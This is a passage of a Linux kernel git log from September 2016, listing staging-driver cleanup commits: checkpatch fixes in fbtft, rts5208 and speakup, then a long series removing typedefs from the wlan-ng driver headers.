52b4f6e081ba20adac694f5e445be2dcb469d3a1 Author: Carlos Palminha Date: Thu Sep 29 13:03:30 2016 +0100 staging: fbtft: fix NULL comparison checkpatch warning Fixed the following checkpatch warnings (task #10 of eudyptula challenge): - NULL comparison rewritten to use '!' operator Signed-off-by: Carlos Palminha Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fbtft_device.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 259334ed303b40630c4248944a04145918fc0ac3 Author: Wayne Porter Date: Fri Sep 30 19:06:37 2016 +0000 Staging: rts5208: Fix indentation warnings Fix code indentation warnings detected by checkpatch.pl Signed-off-by: Wayne Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/ms.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 6c5d28f523665a38672b27f603bef43bf21560ea Author: Namrata A Shettar Date: Thu Sep 29 22:07:39 2016 +0530 staging: rts5208: Replace explicit NULL comparison Replace explicit NULL comparison to resolve checkpatch issues. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_scsi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6d81bf25506a70f4e66826d5cb35f1ca07147499 Author: Namrata A Shettar Date: Thu Sep 29 22:05:31 2016 +0530 staging: rts5208: Add space around binary operators Add space around binary operators to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_scsi.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit c4610f6e1db2dd04119bcef80ab9dc12bff62117 Author: Bhumika Goyal Date: Thu Sep 29 20:52:00 2016 +0530 Staging: speakup: constify attribute_group structures Check for attribute_group structures that are only passed as a second argument to the functions sysfs_remove_group and sysfs_create_group. As these arguments are constant so, attribute_group structures having this property can also be made constant. Done using coccinelle: @r1 disable optional_qualifier @ identifier i; position p; @@ static struct attribute_group i@p = {...}; @ok1@ identifier r1.i; position p; expression e1; @@ ( sysfs_remove_group(e1,&i@p) | sysfs_create_group(e1,&i@p) ) @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct attribute_group i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct attribute_group i; File size before: text data bss dec hex filename 7551 1440 16 9007 232f drivers/staging/speakup/kobjects.o File size after: text data bss dec hex filename 7671 1312 16 8999 2327 drivers/staging/speakup/kobjects.o Signed-off-by: Bhumika Goyal Acked-by: Samuel Thibault Signed-off-by: Greg Kroah-Hartman drivers/staging/speakup/kobjects.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5f7688dd41e3d98b18792a961662387857dcd68e Author: Sergio Paracuellos Date: Wed Sep 28 20:20:20 2016 +0200 staging: wlang-ng: Fix block comments style warnings in hfa384x.h This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: Block comments use * on subsequent lines No more warnings block comments warnings for this file. Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 124 +++++++++++++++++++------------------- 1 file changed, 62 insertions(+), 62 deletions(-) commit 5a2214e2e02fd24874b68ac7f5b07ad4d7ad1813 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:19 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 60 ++++++------ drivers/staging/wlan-ng/hfa384x_usb.c | 170 +++++++++++++++++----------------- drivers/staging/wlan-ng/prism2mgmt.c | 20 ++-- drivers/staging/wlan-ng/prism2mgmt.h | 5 +- drivers/staging/wlan-ng/prism2mib.c | 36 +++---- drivers/staging/wlan-ng/prism2sta.c | 40 ++++---- drivers/staging/wlan-ng/prism2usb.c | 8 +- 7 files changed, 170 insertions(+), 169 deletions(-) commit e2f503c40dcc4d2a772612dc9e4e4c6373bc1f73 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:18 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_metacmd_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_metacmd_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- drivers/staging/wlan-ng/hfa384x_usb.c | 18 +++++++++--------- 2 files changed, 11 insertions(+), 11 deletions(-) commit 3df38936a79589af342060b33ec3139bb09f95cc Author: Sergio Paracuellos Date: Wed Sep 28 20:20:17 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usbctlxq_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usbctlxq_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a10d36b08355d44acd9f0c391f0f01bd631d2d9d Author: Sergio Paracuellos Date: Wed Sep 28 20:20:16 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usbctlx_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usbctlx_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 +-- drivers/staging/wlan-ng/hfa384x_usb.c | 54 +++++++++++++++++------------------ drivers/staging/wlan-ng/prism2usb.c | 2 +- 3 files changed, 30 insertions(+), 30 deletions(-) commit b3fd890e1b4fc2fb0ff72c3663ccff18ba47046b Author: Sergio Paracuellos Date: Wed Sep 28 20:20:15 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_rridresult_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_rridresult_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- drivers/staging/wlan-ng/hfa384x_usb.c | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) commit 501f5f96b3bd70348c5e9f71f3c17ddbab73522d Author: Sergio Paracuellos Date: Wed Sep 28 20:20:14 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_cmdresult_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_cmdresult_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/hfa384x_usb.c | 16 ++++++++-------- 2 files changed, 11 insertions(+), 11 deletions(-) commit 4f026e894da368a3dbb7454ac696b25e8f4dcbf7 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:13 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdrec_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdrec_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- drivers/staging/wlan-ng/prism2fw.c | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) commit b26ce5f6864a5bf524d0513b5b7b00886bbcb644 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:12 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_end_of_pda_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_end_of_pda_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5a4a58236a5ccc781f48200f3eddc4a590bf1264 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:11 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_hfa3861_manf_testi_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_hfa3861_manf_testi_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0960d2e1e4e4a8fea5ae8d87ed0ad0899310c2b8 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:10 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_hfa3861_manf_testsp_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_hfa3861_manf_testsp_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 9408a44c7e19d9c95cd8eb9e589f3f5bedc44128 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:09 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_hfo_delay_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_hfo_delay_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit bd84b588775a729c8e9d46bcfa2c501ff2836953 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:08 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_nic_config_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_nic_config_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b94425ff7081ee9ea1644e93f7458cfa11a356c8 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:07 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_hfa3861_chcali_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_hfa3861_chcali_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 788c973247d25e71cd9ed09bf7011f6e1fbea256 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:06 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_hfa3861_chcalsp_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_hfa3861_chcalsp_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 1755c01bf6d106c7ab5308bdac5251213f9e9600 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:05 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_hfa3861_ifrf_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_hfa3861_ifrf_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0dbc2e46ac1890a5f2a41561e8ef00c147b2202a Author: Sergio Paracuellos Date: Wed Sep 28 20:20:04 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_hfa3861_shadow_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_hfa3861_shadow_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b4547dc56846afc9f527c304c211eb1166a9625a Author: Sergio Paracuellos Date: Wed Sep 28 20:20:03 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_hfa3861_baseline_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_hfa3861_baseline_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit da79fe4aeca494969a2d023f3fbe427247fd90e9 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:02 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_rfr_setting_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_rfr_setting_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3d2358857ab02cf3aaa6553d252ebe0e21116a52 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:01 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_ifr_setting_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_ifr_setting_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a98f8609ad9fec571ef9b7c1bce444c2f1b98710 Author: Sergio Paracuellos Date: Wed Sep 28 20:20:00 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_trimdac_setup_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_trimdac_setup_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 29aef6bb89a46522ccd48210c4f9e224199d3fd9 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:59 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_level_comp_setup_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_level_comp_setup_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit dce6c28300211bba65b5152e171942b29d8c5fad Author: Sergio Paracuellos Date: Wed Sep 28 20:19:58 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_vgdac_setup_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_vgdac_setup_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3c92d65d2e7b9d895dfe5d42f4eb5a62f595427a Author: Sergio Paracuellos Date: Wed Sep 28 20:19:57 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_refdac_setup_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_refdac_setup_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0c350461e2aecd806479cf2517b0494ead0ef72f Author: Sergio Paracuellos Date: Wed Sep 28 20:19:56 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_temptype_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_temptype_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2c1759be42e5e2072a17a0e72b62f425288a2bab Author: Sergio Paracuellos Date: Wed Sep 28 20:19:55 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_privacy_option_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_privacy_option_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 892b51ec854a91bc4635ecfc97210eafbcb49179 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:54 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_default_channel_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_default_channel_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e0322d1bb04b5602471a359955fb51bdddbd89af Author: Sergio Paracuellos Date: Wed Sep 28 20:19:53 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_allowed_channel_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_allowed_channel_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0970a33d516628c238507173558e8cfd5d44a1b8 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:52 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_regdomain_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_regdomain_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit f969955355d32ac3f359bd64ede0164569f3e514 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:51 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_mkk_callname_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_mkk_callname_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 29f1e44ed1edc7047ec1f9740b3d39f4ed8b3421 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:50 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_mac_address_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_mac_address_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit dac1445de191d60f7cdc35e38a134c2674a62ad4 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:49 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_level_compc_measurements_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_level_compc_measurements_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit de95929c550ba936220048e9935e028f6e035a0d Author: Sergio Paracuellos Date: Wed Sep 28 20:19:48 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_vgdac_measurements_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_vgdac_measurements_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 1c0c8ebae1627d8c7cbbc41e6a850b5310ce0363 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:47 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_refdac_measurements_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_refdac_measurements_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e9ee92c79997ae51fd76048346bc02cea966c45e Author: Sergio Paracuellos Date: Wed Sep 28 20:19:46 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_nicid_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_nicid_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 4ae2996f497966831491c131a8c07c5f9a258d67 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:45 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_cfisuprange_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_cfisuprange_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 9127692f0e56fafed906be3b6ab5f2360439ecc4 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:44 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_mfisuprange_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_mfisuprange_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 02eebae415bc3dc3e469de0c7f2b45f1d42cc0a4 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:43 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_nic_ramsize_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_nic_ramsize_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit ee9f7626e024007f6bf7e40ee50012d5b7e52685 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:42 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_mkk_measurements_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_mkk_measurements_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 66e7bdb61233be2b0c7f1b27b4678777ddc90edf Author: Sergio Paracuellos Date: Wed Sep 28 20:19:41 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_nic_serial_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_nic_serial_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit caeabb804a2c716e1596b55810c6489514de2124 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:40 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_pcb_tracenum_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_pcb_tracenum_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e0696aa81b47f094ba33809b63f36432cc6acf70 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:39 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_pdr_pcb_partnum_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_pdr_pcb_partnum_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3e4180c3e8fe17518ce1a3b7ecd49b318217541f Author: Sergio Paracuellos Date: Wed Sep 28 20:19:38 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usbin_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usbin_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/hfa384x_usb.c | 21 +++++++++++---------- 2 files changed, 14 insertions(+), 13 deletions(-) commit 4012684a5129f750b38726370a855a4a794cc88d Author: Sergio Paracuellos Date: Wed Sep 28 20:19:37 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usbout_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usbout_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit d4734c301c165c03ff7fb04483b456f51a405c0c Author: Sergio Paracuellos Date: Wed Sep 28 20:19:36 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_error_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_error_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit c4d8a0a85d89ecda970bd8949544a2f911700b60 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:35 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_bufavail_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_bufavail_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 1ed548063b66242f655c8fb759f3dc32dd511e5e Author: Sergio Paracuellos Date: Wed Sep 28 20:19:34 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_rmemresp_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_rmemresp_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/hfa384x_usb.c | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) commit 499c1cc937bf8203914025db71c72e1117943d21 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:33 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_wmemresp_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_wmemresp_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit a988c9f3ea35e3a6b532ebe30d2724c55b427c9d Author: Sergio Paracuellos Date: Wed Sep 28 20:19:32 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_rridresp_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_rridresp_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/hfa384x_usb.c | 8 ++++---- 2 files changed, 7 insertions(+), 7 deletions(-) commit 2c8079dedc1cefc7098f5071f7e4b96a2bddac80 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:31 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_wridresp_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_wridresp_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 385a79df4b8863ba0e30ec364656a4bc7ceceb0d Author: Sergio Paracuellos Date: Wed Sep 28 20:19:30 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_cmdresp_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_cmdresp_t Signed-off-by: Sergio Paracuellos Signed-off-by: 